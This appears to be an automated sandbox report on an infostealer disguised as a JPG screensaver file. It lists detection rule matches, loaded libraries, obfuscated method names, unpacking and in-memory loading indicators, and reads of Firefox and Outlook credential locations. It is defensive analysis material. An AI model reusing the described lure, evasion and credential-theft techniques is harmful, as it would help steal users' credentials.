Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4_2_02E4DC98	4_2_02E4DC98
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4_2_02E44218	4_2_02E44218
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4_2_02E4E460	4_2_02E4E460
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4_2_06EAE7C8	4_2_06EAE7C8
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4_2_06EAB320	4_2_06EAB320
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4_2_06EA60A8	4_2_06EA60A8
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4_2_06EA0040	4_2_06EA0040
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4_2_06EA35C8	4_2_06EA35C8
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4_2_06EAAC40	4_2_06EAAC40
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4_2_06EA0021	4_2_06EA0021
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4_2_06EA35C7	4_2_06EA35C7

Source: Rendeles_042024,jpg.scr.exe, 00000000.00000002.2010581386.0000000004B5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Rendeles_042024,jpg.scr.exe
Source: Rendeles_042024,jpg.scr.exe, 00000000.00000002.2007574206.0000000003070000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dllD vs Rendeles_042024,jpg.scr.exe
Source: Rendeles_042024,jpg.scr.exe, 00000000.00000002.2007057373.000000000140E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Rendeles_042024,jpg.scr.exe
Source: Rendeles_042024,jpg.scr.exe, 00000000.00000002.2008266464.0000000003525000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename6b1d79bf-9b97-47a0-8a25-73227ac23a27.exe4 vs Rendeles_042024,jpg.scr.exe
Source: Rendeles_042024,jpg.scr.exe, 00000000.00000002.2010581386.0000000004EFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename6b1d79bf-9b97-47a0-8a25-73227ac23a27.exe4 vs Rendeles_042024,jpg.scr.exe
Source: Rendeles_042024,jpg.scr.exe, 00000000.00000002.2022825410.0000000009A50000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Rendeles_042024,jpg.scr.exe
Source: Rendeles_042024,jpg.scr.exe, 00000000.00000002.2010581386.0000000004E82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename6b1d79bf-9b97-47a0-8a25-73227ac23a27.exe4 vs Rendeles_042024,jpg.scr.exe
Source: Rendeles_042024,jpg.scr.exe, 00000000.00000002.2008266464.0000000003181000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dllD vs Rendeles_042024,jpg.scr.exe
Source: Rendeles_042024,jpg.scr.exe, 00000004.00000002.3247390106.00000000010F8000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Rendeles_042024,jpg.scr.exe
Source: Rendeles_042024,jpg.scr.exe, 00000004.00000002.3247016161.000000000043E000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilename6b1d79bf-9b97-47a0-8a25-73227ac23a27.exe4 vs Rendeles_042024,jpg.scr.exe
Source: Rendeles_042024,jpg.scr.exe	Binary or memory string: OriginalFilenameOBam.exe8 vs Rendeles_042024,jpg.scr.exe

Source: Rendeles_042024,jpg.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4.2.Rendeles_042024,jpg.scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Rendeles_042024,jpg.scr.exe.4e823c0.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: Rendeles_042024,jpg.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack, cPs8D.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack, 72CF8egH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack, G5CXsdn.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack, 3uPsILA6U.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack, 6oQOw74dfIt.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack, aMIWm.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4efe348.8.raw.unpack, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, T0B9xE3mxdOjxhb0bX.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Rendeles_042024,jpg.scr.exe.9a50000.14.raw.unpack, xJ8MuqjQikowh096AW.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Rendeles_042024,jpg.scr.exe.9a50000.14.raw.unpack, xJ8MuqjQikowh096AW.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Rendeles_042024,jpg.scr.exe.9a50000.14.raw.unpack, xJ8MuqjQikowh096AW.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Rendeles_042024,jpg.scr.exe.4d68360.10.raw.unpack, xJ8MuqjQikowh096AW.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Rendeles_042024,jpg.scr.exe.4d68360.10.raw.unpack, xJ8MuqjQikowh096AW.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Rendeles_042024,jpg.scr.exe.4d68360.10.raw.unpack, xJ8MuqjQikowh096AW.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Rendeles_042024,jpg.scr.exe.9a50000.14.raw.unpack, T0B9xE3mxdOjxhb0bX.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, xJ8MuqjQikowh096AW.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, xJ8MuqjQikowh096AW.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, xJ8MuqjQikowh096AW.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Rendeles_042024,jpg.scr.exe.4d68360.10.raw.unpack, T0B9xE3mxdOjxhb0bX.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/1@3/3

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Rendeles_042024,jpg.scr.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Mutant created: \Sessions\1\BaseNamedObjects\ePnZRiyivhFNQoziO

Source: Rendeles_042024,jpg.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Rendeles_042024,jpg.scr.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Rendeles_042024,jpg.scr.exe	ReversingLabs: Detection: 52%
Source: Rendeles_042024,jpg.scr.exe	Virustotal: Detection: 50%

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

File read: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe "C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe"
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Process created: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe "C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe"
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Process created: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe "C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe"
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Process created: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe "C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Process created: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe "C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Rendeles_042024,jpg.scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Rendeles_042024,jpg.scr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

Unpacked PE file: 0.2.Rendeles_042024,jpg.scr.exe.d30000.0.unpack .text:ER;.rsrc:R;.reloc:R; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe

Unpacked PE file: 0.2.Rendeles_042024,jpg.scr.exe.d30000.0.unpack

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.Rendeles_042024,jpg.scr.exe.7bb0000.13.raw.unpack, XG.cs

.Net Code: Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777298)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777243)),Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777254))})

.NET source code contains potential unpacker

Source: 0.2.Rendeles_042024,jpg.scr.exe.3070000.1.raw.unpack, .cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.Rendeles_042024,jpg.scr.exe.31a3374.6.raw.unpack, .cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, xJ8MuqjQikowh096AW.cs	.Net Code: VG6TWwM7fl System.Reflection.Assembly.Load(byte[])
Source: 0.2.Rendeles_042024,jpg.scr.exe.9a50000.14.raw.unpack, xJ8MuqjQikowh096AW.cs	.Net Code: VG6TWwM7fl System.Reflection.Assembly.Load(byte[])
Source: 0.2.Rendeles_042024,jpg.scr.exe.4d68360.10.raw.unpack, xJ8MuqjQikowh096AW.cs	.Net Code: VG6TWwM7fl System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_00DDBC9E push ds; iretd	0_2_00DDBEC8
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_00DDBD47 push ds; iretd	0_2_00DDBEC8
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_00DDBC75 push 0001006Eh; iretd	0_2_00DDBC7A
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF7404 push ss; retf	0_2_02FF7405
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_02FF7C7A push cs; ret	0_2_02FF7C7B
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 0_2_030204E6 push esi; ret	0_2_030204E7
Source: C:\Users\user\Desktop\Rendeles_042024,jpg.scr.exe	Code function: 4_2_02E40C3D push edi; ret	4_2_02E40CC2

Source: Rendeles_042024,jpg.scr.exe

Static PE information: section name: .text entropy: 7.931478273821282

Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, YL024Z28e53d9YxTlC.cs	High entropy of concatenated method names: 'GXkB5Vial0', 'hRDBgRT5vA', 'esv0KbsI1A', 'yCR0MuN5pS', 'FRQBONvqXB', 'GTDB6m3HpF', 'X7TBXmxsod', 'BrKBs6fD01', 'b9WBVAu85W', 'bZ4BbSc8xG'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, RtKVMKbr36wpTrLHXg.cs	High entropy of concatenated method names: 'ToString', 'E0xZOFkhjo', 'GqsZUgbSI6', 'Uw8ZA8hGXT', 'TIUZmHObKj', 'M8lZNJfKfv', 'qInZSPRwyo', 'JuQZvA8PFY', 'EINZiatXPX', 'zs2ZRpSoYx'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, Ttvh1ZROMV7JT5TYmE.cs	High entropy of concatenated method names: 'ajlpcBl2Qo', 'htdpEtS2RC', 'IsgpWRQdtk', 'jNrpwpd5JD', 'HempD7pt11', 'tF1pCxJv0q', 'fgXpPJo4o8', 'mG2p3vBmwQ', 'sLGplNFkr5', 'oWjp1Tvojb'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, OZRjHFXew9leU55XBk.cs	High entropy of concatenated method names: 'K8Z93Hvn7I', 'yfs9lr6WDA', 'WlN9exm4la', 'q7h9UPFK9a', 'Ho59mj99j9', 'fYb9NZvgKF', 'qi79vciVM1', 'pOl9iXSqNs', 'kJ49oPPbGD', 'Owc9OsJfi2'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, xtnVInlnyXPZWjJfmN.cs	High entropy of concatenated method names: 'yW1awm7CUp', 'AayaCLBcXk', 'v32a3pqBFY', 'LGqal6oDr8', 'UoyaQDSVcX', 'yvnaZJrGGY', 'RTnaBOS9k0', 'GUZa0T8twS', 'Kx6anAmkir', 'R6Xa7WVUNT'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, CO0WXPMtGP2vTsmOrGZ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'J2s7sJJR15', 'Yel7VphSGn', 't087bIkR7l', 'HEW7LQLx8E', 'cAA7FJXSRh', 'nXv72ypxVX', 'APR7GQWQCT'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, DhiQhdztCE6lYn1WJn.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Otsn93Q9jv', 'GGunQYxyEA', 'aQsnZsgfCG', 'yWAnByfAWG', 'FAYn0jWj9g', 'jcjnnO8Uu5', 'Ignn7ZuLho'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, pqsnTtYE3DdxgN1dl6.cs	High entropy of concatenated method names: 'uIDWNntO6', 'ARpwUWZog', 'J2jCbeqrZ', 'LiwPNRgHU', 'oxGlRxvvS', 'c7D1Dwmca', 'FEyCbBVfcBkuu1usRK', 'Yn2qIxrL6WsX8OBFob', 'EOh0OaTBg', 'hMJ7o5gEV'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, AOGIQBIt2vhc08y0E9.cs	High entropy of concatenated method names: 'Dispose', 'Vi4Md7xqW8', 'JvIYUFUn3T', 'V6600OuZYb', 'Bq4MgsqkoU', 'BrhMzEY8T4', 'ProcessDialogKey', 'o2PYKbxdSe', 'xfYYMCKKf8', 'Es9YYU5A5r'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, xJ8MuqjQikowh096AW.cs	High entropy of concatenated method names: 'hsht8Nbj7L', 'bI4tkVwcjR', 'NPltIdW3Zp', 'cUQtalXKT4', 'vD7tJlKX4M', 'v6ntqA5whd', 'v0XtpMoysx', 'DWxtj339Sl', 'QFftf65Bbh', 'k9CtyGaiu7'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, K4aPP5MKVBkdSaO3yJa.cs	High entropy of concatenated method names: 'dwIncstamr', 'kASnEuEEpu', 'VE8nWkUYtP', 'cxcnwMwvLQ', 'mWWnDd1d7x', 'n6onComFAA', 'bv8nPJIeF2', 'w2Mn3JGQay', 'AesnlbiDML', 'kKan1Zl2Nh'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, UEIvD1auAgbla5vmFm.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'YRRYd6Kgaq', 'zfTYg19KX7', 'U6lYzvTG56', 'vUGtK1vNWi', 'wDxtMQhq54', 'rErtYbE18I', 'DRCttkJTCu', 'dJSGhs3d6LYWlaZCVtD'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, uc7xFReldh8O8t1tV6.cs	High entropy of concatenated method names: 'zAHq8hgpvO', 'c8SqI0vwtS', 'FMMqJTk429', 'bf6qpjFA6Q', 'zwUqjGk7wo', 'IQrJFftO5o', 'r9jJ2buTA4', 'pBaJGSAR9K', 's8VJ5RToIR', 'cfOJdk6lrH'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, SGc86svPKwYfG5vhbO.cs	High entropy of concatenated method names: 'j94pk5rBCe', 'Y5lpa83kdr', 'KAYpqlb3Ps', 'FCcqgnoMOt', 'EFBqzWEmgI', 'ebgpKRGG1d', 'jBTpMBDaJw', 'GZLpY42XFN', 'OGtptVV2p9', 'TWNpT8eqH2'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, H5A5r3gsBs3OnESd38.cs	High entropy of concatenated method names: 'RlmnM91V3K', 'Qd7ntlc64K', 'b3WnTRcjZW', 'iLNnkfAPJq', 'rlmnIqG1gE', 'UJ5nJM9BZa', 'TQgnqJI6mj', 'VTf0GndB7m', 'agZ05ZsGHf', 'eiI0dAnhZu'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, j4sqko5UCrhEY8T4Q2.cs	High entropy of concatenated method names: 'Qvo0kvV6Dq', 'uka0IyWDpt', 'eLm0akkQS5', 'wwD0JRiyYX', 'EyT0qIDZaJ', 'xPf0p5G95D', 'iqh0jGipOM', 'lFI0fKPTHR', 'AJu0yk6GuW', 'abI0rRXT12'
Source: 0.2.Rendeles_042024,jpg.scr.exe.4de5380.11.raw.unpack, TQ2UXdTY84itiEFn09.cs	High entropy of concatenated method names: 'ikLMp0B9xE', 'IxdMjOjxhb', 'snyMyXPZWj', 'hfmMrNCcC0', 'GNuMQk9hc7', 'wFRMZldh8O', 'j5qY1vIJqtgubWPfmg', 'FFcL5RKRle1RaBjQs8', 'K7JMMYoBjg', 'a3ZMtygP9G'
